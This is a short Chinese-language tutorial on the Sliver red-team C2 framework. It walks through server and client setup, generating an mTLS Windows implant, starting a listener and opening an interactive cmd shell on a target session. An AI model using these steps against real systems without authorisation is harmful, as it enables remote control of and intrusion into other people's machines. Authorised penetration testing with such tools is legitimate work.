渗透测试工具-Sliver
Sliver介绍
Sliver 是一个开源的跨平台对手仿真/红队框架,各种规模的组织都可以使用它来执行安全测试。Sliver 的植入物支持 C2 over Mutual TLS (mTLS)、WireGuard、HTTP(S) 和 DNS,并使用每个二进制非对称加密密钥进行动态编译。
服务器和客户端支持 MacOS、Windows 和 Linux。
下载地址:https://github.com/BishopFox/sliver/releases/tag/v1.5.31
原则上服务端及客户端均可以使用对应的安装包进行安装运行,且安装包安装不需要额外的环境配置,但是由于windows服务器存在功能限制,Sliver官方建议服务端使用linux或macos的服务器进行配置。而CobaltStrike限于使用java打包,服务端与客户端的运行依赖于java环境,而客户端则需要布置在具有图形界面的服务器上。
Sliver基础使用
开启服务端
./sliver-server_linux
# 生成校验文件
new-operator --name hack --lhost 192.168.1.107
# 开启多客户端共同管理(不开客户端无法连接)
multiplayer
客户端连接
将服务端生成的校验文件,放到和客户端一个目录下,然后使用如下命令导入配置文件,运行即可。
./sliver-client_linux import hack_192.168.1.107.cfg
此时服务器显示客户端已经连接。
默认连接端口
Sliver默认连接端口为:31337
可以编辑配置文件进行修改
cat ~/.sliver/configs/server.json
生成攻击载荷并监听
生成攻击载荷并上传到目标机
generate --mtls <Server IP> --save test.exe --os Windows
监听(默认监听8888端口,可以自己设置监听端口,这里我默认就行)
mtls
这里成功监听8888端口,并且获取到shell
进入shell
监听成功后,会显示如下的 Session编号,使用 use 339a
按TAB键补全就可以直接进去shell。
进入交互式shell (这里不能直接使用shell进入交互模式,会直接卡死)
shell --shell-path "C:\\windows\system32\cmd.exe"
这里exit退出交互式shell,直接会终止客户端的运行。重新运行客户端,使用sessions查看session 编号,重新进入。
暂时只是简单使用,这工具有一些小细节没处理好,期待工具可以完善的更好。